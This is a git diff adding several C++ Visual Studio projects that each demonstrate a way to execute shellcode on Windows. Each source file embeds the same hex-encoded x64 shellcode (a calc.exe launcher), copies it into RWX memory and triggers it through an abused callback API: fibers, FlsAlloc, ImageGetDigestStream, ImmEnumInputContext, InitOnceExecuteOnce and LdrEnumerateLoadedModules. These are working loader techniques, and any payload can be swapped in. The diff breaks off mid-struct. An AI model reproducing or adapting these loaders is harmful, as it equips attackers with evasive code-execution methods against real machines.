100644 index 0000000..3e7e62e --- /dev/null +++ b/FiberContextEdit/FiberContextEdit.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/FiberContextEdit/Source.cpp b/FiberContextEdit/Source.cpp new file mode 100644 index 0000000..07b5aa2 --- /dev/null +++ b/FiberContextEdit/Source.cpp @@ -0,0 +1,112 @@ +// alfarom256 +#include +#include + +void dummy() { + puts("Hello Fiber from Dummy"); +} + +// calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + +//https://github.com/reactos/reactos/blob/2e1aeb12dfd8b44b4b57d377b59ef347dfe3386e/dll/win32/kernel32/client/fiber.c +//https://doxygen.reactos.org/dd/d83/ndk_2ketypes_8h_source.html#l00179 + + +// s/o to ch3rn0byl and s4r1n +// am I doing s00p3r c001 1337 gr33tz right? +int main() { + + + /* + _TEB.SameTebFlags = _TEB + 0x17ee + dt _TEB: + + +0x17ee SameTebFlags : Uint2B + +0x17ee SafeThunkCall : Pos 0, 1 Bit + +0x17ee InDebugPrint : Pos 1, 1 Bit + +0x17ee HasFiberData : Pos 2, 1 Bit + +0x17ee SkipThreadAttach : Pos 3, 1 Bit + +0x17ee WerInShipAssertCode : Pos 4, 1 Bit + +0x17ee RanProcessInit : Pos 5, 1 Bit + +0x17ee ClonedThread : Pos 6, 1 Bit + +0x17ee SuppressDebugMsg : Pos 7, 1 Bit + +0x17ee DisableUserStackWalk : Pos 8, 1 Bit + +0x17ee RtlExceptionAttached : Pos 9, 1 Bit + +0x17ee InitialThread : Pos 10, 1 Bit + +0x17ee SessionAware : Pos 11, 1 Bit + +0x17ee LoadOwner : Pos 12, 1 Bit + +0x17ee LoaderWorker : Pos 13, 1 Bit + +0x17ee SkipLoaderInit : Pos 14, 1 Bit + + */ + + //_TEB* teb = NtCurrentTeb(); + //NT_TIB* tib = (NT_TIB*)teb; + //void* pTebFlags = (void*)((uintptr_t)teb + 0x17ee); + //char tebFlags = *(char*)pTebFlags; // it's actually a WORD but I don't care about the second byte + // + //BOOL hasFibData = (tebFlags >> 2) & 0b1; // False here, as the current thread is not yet a fiber + // + //printf("TebFlag => 0x%x\n", tebFlags); + //printf("Has Fiber Data : %s\n", (hasFibData ? "true" : "false")); + //printf("Fiber Data Ptr: %p\n", tib->FiberData); + + //https://github.com/reactos/reactos/blob/2e1aeb12dfd8b44b4b57d377b59ef347dfe3386e/dll/win32/kernel32/client/fiber.c#L256 + ConvertThreadToFiber(NULL); + + + //tebFlags = *(char*)pTebFlags; + //hasFibData = (tebFlags >> 2) & 0b1; // True here after call to ConvertThreadToFiber + // + //printf("TebFlag => 0x%x\n", tebFlags); + //printf("Has Fiber Data : %s\n", (hasFibData ? "true" : "false")); + //printf("Fiber Data Ptr: %p\n", tib->FiberData); + // + + /* + Important to note that tib->FiberData == __readgsqword(0x20) + */ + + LPVOID lpFiber = CreateFiber(0x100, (LPFIBER_START_ROUTINE)dummy, NULL); + LPVOID addr = VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE); + RtlMoveMemory(addr, op, sizeof(op)); + if (lpFiber == NULL) { + printf("GLE : %d", GetLastError()); + exit(0); + } + + /* + + Here we are changing the Fiber Context such that the Created Fiber's entry point + (lpFiber + 0xb0) + Now points to the newly allocated Shellcode. + + The fiber context resides at the created buffer returned by CreateFiber + + */ + uintptr_t* tgtFuncAddr = (uintptr_t*)((uintptr_t)lpFiber + 0xB0); + *tgtFuncAddr = (uintptr_t)addr; + + SwitchToFiber(lpFiber); +} \ No newline at end of file diff --git a/FlsAlloc/FlsAlloc.cpp b/FlsAlloc/FlsAlloc.cpp new file mode 100644 index 0000000..4076e18 --- /dev/null +++ b/FlsAlloc/FlsAlloc.cpp @@ -0,0 +1,38 @@ +#include +#include + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + +int main() { + + HANDLE hProcess = ::GetCurrentProcess(); + + LPVOID address = ::VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(address, &op[0], sizeof(op)); + + DWORD dIndex = ::FlsAlloc((PFLS_CALLBACK_FUNCTION)address); + CONST CHAR* dummy = "dummy"; + + FlsSetValue(dIndex, &dummy); + +} \ No newline at end of file diff --git a/FlsAlloc/FlsAlloc.vcxproj b/FlsAlloc/FlsAlloc.vcxproj new file mode 100644 index 0000000..be1f73e --- /dev/null +++ b/FlsAlloc/FlsAlloc.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {784e8c7b-ccb3-40cf-8fef-7d01a563cee5} + FlsAlloc + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/FlsAlloc/FlsAlloc.vcxproj.filters b/FlsAlloc/FlsAlloc.vcxproj.filters new file mode 100644 index 0000000..e91adf8 --- /dev/null +++ b/FlsAlloc/FlsAlloc.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/ImageGetDigestStream/ImageGetDigestStream.cpp b/ImageGetDigestStream/ImageGetDigestStream.cpp new file mode 100644 index 0000000..ebd4017 --- /dev/null +++ b/ImageGetDigestStream/ImageGetDigestStream.cpp @@ -0,0 +1,49 @@ +#include +#include +#include + +// Requires Imagehlp.lib + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + + +int main() { + + + LPVOID addr = ::VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE); + ::RtlMoveMemory(addr, op, sizeof(op)); + + HANDLE hImg = ::CreateFileW(L"C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + HANDLE dummy; + + if (hImg) { + + ::ImageGetDigestStream(hImg, CERT_PE_IMAGE_DIGEST_ALL_IMPORT_INFO, (DIGEST_FUNCTION)addr, &dummy); + ::CloseHandle(dummy); + + } + + ::CloseHandle(hImg); + +} \ No newline at end of file diff --git a/ImageGetDigestStream/ImageGetDigestStream.vcxproj b/ImageGetDigestStream/ImageGetDigestStream.vcxproj new file mode 100644 index 0000000..441a23e --- /dev/null +++ b/ImageGetDigestStream/ImageGetDigestStream.vcxproj @@ -0,0 +1,151 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {055b882f-d318-4bfc-b7df-a05b2a628575} + ImageGetDigestStream + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;Imagehlp.lib;%(AdditionalDependencies) + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;Imagehlp.lib;%(AdditionalDependencies) + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;Imagehlp.lib;%(AdditionalDependencies) + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;Imagehlp.lib;%(AdditionalDependencies) + + + + + + + + + \ No newline at end of file diff --git a/ImageGetDigestStream/ImageGetDigestStream.vcxproj.filters b/ImageGetDigestStream/ImageGetDigestStream.vcxproj.filters new file mode 100644 index 0000000..faae719 --- /dev/null +++ b/ImageGetDigestStream/ImageGetDigestStream.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/ImmEnumInputContext/ImmEnumInputContext.cpp b/ImmEnumInputContext/ImmEnumInputContext.cpp new file mode 100644 index 0000000..86410c2 --- /dev/null +++ b/ImmEnumInputContext/ImmEnumInputContext.cpp @@ -0,0 +1,42 @@ +#include +#include +#include + +#pragma comment(lib, "Imm32.lib") + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + + + +int main() { + + + LPVOID address = ::VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(address, &op[0], sizeof(op)); + + ::ImmEnumInputContext(NULL, (IMCENUMPROC)address, NULL); + + return 0; + +} \ No newline at end of file diff --git a/ImmEnumInputContext/ImmEnumInputContext.vcxproj b/ImmEnumInputContext/ImmEnumInputContext.vcxproj new file mode 100644 index 0000000..16740ef --- /dev/null +++ b/ImmEnumInputContext/ImmEnumInputContext.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {13c7fed8-77a0-4ee3-a431-6e77f22320c3} + ImmEnumInputContext + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/ImmEnumInputContext/ImmEnumInputContext.vcxproj.filters b/ImmEnumInputContext/ImmEnumInputContext.vcxproj.filters new file mode 100644 index 0000000..3284a4f --- /dev/null +++ b/ImmEnumInputContext/ImmEnumInputContext.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/InitOnceExecuteOnce/InitOnceExecuteOnce.cpp b/InitOnceExecuteOnce/InitOnceExecuteOnce.cpp new file mode 100644 index 0000000..e10e96e --- /dev/null +++ b/InitOnceExecuteOnce/InitOnceExecuteOnce.cpp @@ -0,0 +1,41 @@ +#include +#include + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + +int main() { + + HANDLE hProcess = ::GetCurrentProcess(); + + LPVOID address = ::VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(address, &op[0], sizeof(op)); + + PVOID lpContext; + BOOL bStatus; + + INIT_ONCE g_InitOnce = INIT_ONCE_STATIC_INIT; + + ::InitOnceExecuteOnce(&g_InitOnce, (PINIT_ONCE_FN)address, NULL, &lpContext); + + +} \ No newline at end of file diff --git a/InitOnceExecuteOnce/InitOnceExecuteOnce.vcxproj b/InitOnceExecuteOnce/InitOnceExecuteOnce.vcxproj new file mode 100644 index 0000000..0b098bd --- /dev/null +++ b/InitOnceExecuteOnce/InitOnceExecuteOnce.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {92ee01bf-6b18-44f2-ac69-29d9d7920d6e} + InitOnceExecuteOnce + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/InitOnceExecuteOnce/InitOnceExecuteOnce.vcxproj.filters b/InitOnceExecuteOnce/InitOnceExecuteOnce.vcxproj.filters new file mode 100644 index 0000000..de6fc5a --- /dev/null +++ b/InitOnceExecuteOnce/InitOnceExecuteOnce.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..cbd8faa --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2021 S4R1N + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/LdrEnumerateLoadedModules/LdrEnumerateLoadedModules.cpp b/LdrEnumerateLoadedModules/LdrEnumerateLoadedModules.cpp new file mode 100644 index 0000000..707f38f --- /dev/null +++ b/LdrEnumerateLoadedModules/LdrEnumerateLoadedModules.cpp @@ -0,0 +1,96 @@ +#include +#include + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + +// including ntdef.h was breaking the program so I just simply got the typedef from: +// https://docs.microsoft.com/en-us/windows/win32/api/ntdef/ns-ntdef-_unicode_string + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING, * PUNICODE_STRING; + +// https://doxygen.reactos.org/d1/d97/ldrtypes_8h_source.html + +typedef PVOID PACTIVATION_CONTEXT; + +typedef struct _LDR_DATA_TABLE_ENTRY +{ + 